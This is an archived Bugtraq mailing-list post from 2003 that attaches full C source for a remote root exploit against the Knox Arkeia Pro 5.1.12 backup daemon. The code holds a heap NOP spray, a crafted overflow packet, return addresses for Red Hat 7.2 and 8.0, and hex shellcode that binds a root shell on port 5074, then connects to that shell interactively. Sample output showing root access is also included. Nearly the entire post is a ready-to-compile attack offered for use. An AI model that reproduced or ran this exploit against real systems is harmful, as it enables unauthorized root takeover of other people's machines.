Knox Arkeia Pro v5.1.12 remote root exploit

From: A. C. (bugtraq_vuln_at_yahoo.com)
Date: 09/19/03

  • Next message: Conectiva Updates: "[CLA-2003:743] Conectiva Security Announcement - MySQL"
    Date: Thu, 18 Sep 2003 16:06:14 -0700 (PDT)
    To: bugtraq@securityfocus.com
    
    
    

    Exploit attached for Knox Arkeia Pro v5.1.12 backup
    software from http://www.arkeia.com.

     
     

    /*
     * Knox Arkiea arkiead local/remote root exploit.
     *
     * Portbind 5074 shellcode
     *
     * Tested on Redhat 8.0, Redhat 7.2, but all versions
    are presumed vulnerable.
     *
     * NULLs out least significant byte of EBP to pull EIP
    out of overflow buffer.
     * A previous request forces a large allocation of
    NOP's + shellcode in heap
     * memory. Find additional targets by searching the
    heap for NOP's after a
     * crash. safeaddr must point to any area of memory
    that is read/writable
     * and won't mess with program/shellcode flow.
     *
     * ./ark_sink host targetnum
     * [user@host dir]$ ./ark_sink 192.168.1.2 1
     * [*] Connected to 192.168.1.2:617
     * [*] Connected to 192.168.1.2:617
     * [*] Sending nops+shellcode
     * [*] Done, sleeping
     * [*] Sending overflow
     * [*] Done
     * [*] Sleeping and connecting remote shell
     * [*] Connected to 192.168.1.2:5074
     * [*] Success, enjoy
     * id
     * uid=0(root) gid=0(root)
    groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel)
     *
     *
     */
     

    __________________________________
    Do you Yahoo!?
    Yahoo! SiteBuilder - Free, easy-to-use web site design software
    http://sitebuilder.yahoo.com

    
    

    /*
     * Knox Arkiea arkiead local/remote root exploit.
     *
     * Portbind 5074 shellcode
     *
     * Tested on Redhat 8.0, Redhat 7.2, but all versions are presumed vulnerable.
     *
     * NULLs out least significant byte of EBP to pull EIP out of overflow buffer.
     * A previous request forces a large allocation of NOP's + shellcode in heap
     * memory. Find additional targets by searching the heap for NOP's after a
     * crash. safeaddr must point to any area of memory that is read/writable
     * and won't mess with program/shellcode flow.
     *
     * ./ark_sink host targetnum
     * [user@host dir]$ ./ark_sink 192.168.1.2 1
     * [*] Connected to 192.168.1.2:617
     * [*] Connected to 192.168.1.2:617
     * [*] Sending nops+shellcode
     * [*] Done, sleeping
     * [*] Sending overflow
     * [*] Done
     * [*] Sleeping and connecting remote shell
     * [*] Connected to 192.168.1.2:5074
     * [*] Success, enjoy
     * id
     * uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel)
     *
     *
     */

    #include <stdio.h>
    #include <stdlib.h>
    #include <unistd.h>
    #include <netdb.h>
    #include <sys/socket.h>
    #include <sys/errno.h>
    #include <sys/types.h>
    #include <netinet/in.h>
    #include <arpa/nameser.h>

    #define BUFLEN 10000 /* for getshell() */
    #define LEN 280 /* overflow packet data section */
    #define HEAD_LEN 8 /* overflow packet header */
    #define NOP_LEN 10000 /* nop+shellcode packet */
    #define ARK_PORT 617
    #define SHELL_PORT 5074
    #define NOP 0x90
    #define NUMTARGS 2

    struct {
            char *os;
            unsigned int targret;
            unsigned int targsafe;
    } targets[] = {
            { "Redhat 8.0", 0x80ecf90, 0x080eb940 },
            { "Redhat 7.2", 0x80eddc0, 0x080eb940 },
            NULL
    };

    /* portbind 5074 */
    const char shellcode[] =
    "\x89\xc3\xb0\x02\xcd\x80\x38\xc3\x74\x05\x8d\x43\x01\xcd\x80"
    "\x31\xc0\x89\x45\x10\x40\x89\xc3\x89\x45\x0c\x40\x89\x45\x08"
    "\x8d\x4d\x08\xb0\x66\xcd\x80\x89\x45\x08\x43\x66\x89\x5d\x14"
    "\x66\xc7\x45\x16\x13\xd2\x31\xd2\x89\x55\x18\x8d\x55\x14"
    "\x89\x55\x0c\xc6\x45\x10\x10\xb0\x66\xcd\x80\x40\x89\x45\x0c"
    "\x43\x43\xb0\x66\xcd\x80\x43\x89\x45\x0c\x89\x45\x10\xb0\x66"
    "\xcd\x80\x89\xc3\x31\xc9\xb0\x3f\xcd\x80\x41\x80\xf9\x03"
    "\x75\xf6\x31\xd2\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69"
    "\x89\xe3\x52\x53\x89\xe1\xb0\x0b\xcd\x80";

    unsigned int resolve(char *hostname)
    {
            u_long ip = 0;
            struct hostent *hoste;

            if ((int)(ip = inet_addr(hostname)) == -1)
            {
                    if ((hoste = gethostbyname(hostname)) == NULL)
                    {
                            herror("[!] gethostbyname");
                            exit(-1);
                    }
                    memcpy(&ip, hoste->h_addr, hoste->h_length);
            }
            return(ip);
    }

    int isock(char *hostname, int portnum)
    {
            struct sockaddr_in sock_a;
            int num, sock;
            unsigned int ip;
            fd_set input;

            sock_a.sin_family = AF_INET;
            sock_a.sin_port = htons(portnum);
            sock_a.sin_addr.s_addr = resolve(hostname);

            if ((sock = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)) < 0)
            {
                    herror("[!] accept");
                    exit(-1);
            }
            
            if (connect(sock, (struct sockaddr *)&sock_a, sizeof(sock_a)))
            {
                    herror("[!] connect");
                    exit(-1);
            }
            
            fprintf(stderr, "[*] Connected to %s:%d\n", hostname, portnum);
            return(sock);
            
    }

    int getshell(int sock)
    {

            char buf[BUFLEN];
            int nread=0;

              while(1)
            {
                        fd_set input;
                        FD_SET(0,&input);
                        FD_SET(sock,&input);
                        select(sock+1,&input,NULL,NULL,NULL);
                
                    if(FD_ISSET(sock,&input))
                    {
                                  nread=read(sock,buf,BUFLEN);
                                  write(1,buf,nread);
                         }
                         if(FD_ISSET(0,&input))
                                 write(sock,buf,read(0,buf,BUFLEN));
              }
    }

    int usage(char *progname)
    {
            int i;

            fprintf(stderr, "Usage:\n./%s hostname target_num\n");
            for (i = 0; targets[i].os; i++)
                    fprintf(stderr, "Target %d: %s\n", i+1, targets[i].os);
            exit(-1);
    }

    int main( int argc, char **argv)
    {

            /* first 2 bytes are a type 74 request */
            /* last two bytes length */
            char head[] = "\x00\x4a\x00\x03\x00\x01\xff\xff";
            char data[512];
            char sc_req[20000];
            char *host;
            unsigned int tnum;
            unsigned int safeaddr;
            unsigned int ret;
            int datalen = LEN;
            int port = ARK_PORT;
            unsigned int addr = 0;
            int sock_overflow, sock_nops, sock_shell;
            int i;

            if (argc == 3)
            {
                    host = argv[1];
                    tnum = atoi(argv[2]);
                    if (tnum > NUMTARGS || tnum == 0)
                    {
                            fprintf(stderr, "[!] Invalid target\n");
                            usage(argv[0]);
                    }
            }
            else
            {
                    usage(argv[0]);
            }
            
            tnum--;
            ret = targets[tnum].targret;
            safeaddr = targets[tnum].targsafe;

            sock_overflow = sock_nops = sock_shell = 0;
            sock_nops = isock(host, port);
            sock_overflow = isock(host, port);

            // build data section of overflow packet
            memset(data, 0x90, datalen);
            for (i = 0; i < datalen; i += 4)
                    memcpy(data+i, (char *)&ret, 4);
            // we overwrite a pointer that must be a valid address
            memcpy(data+datalen-12, (char *)&safeaddr, 4);

            // build header of overflow packet
            datalen = ntohs(datalen);
            memcpy(head+6, (char *)&datalen, 2);

            // build invalid packet with nops+shellcode
            memset(sc_req, 0x90, NOP_LEN+1);
            memcpy(sc_req+NOP_LEN, shellcode, sizeof(shellcode));

            // send invalid nop+shellcode packet
            fprintf(stderr, "[*] Sending nops+shellcode\n");
            write(sock_nops, sc_req, NOP_LEN+sizeof(shellcode));
            fprintf(stderr, "[*] Done, sleeping\n");
            sleep(1);
            close(sock_nops);

            // send overflow
            fprintf(stderr, "[*] Sending overflow\n");
            write(sock_overflow, head, HEAD_LEN);
            write(sock_overflow, data, LEN);
            fprintf(stderr, "[*] Done\n");
            fprintf(stderr, "[*] Sleeping and connecting remote shell\n");
            sleep (1);
            close(sock_overflow);

            // connect to shell
            sock_shell = isock(host, SHELL_PORT);
            fprintf(stderr, "[*] Success, enjoy\n");
            getshell(sock_shell);

    }


  • Next message: Conectiva Updates: "[CLA-2003:743] Conectiva Security Announcement - MySQL"

    Relevant Pages


  • Quantcast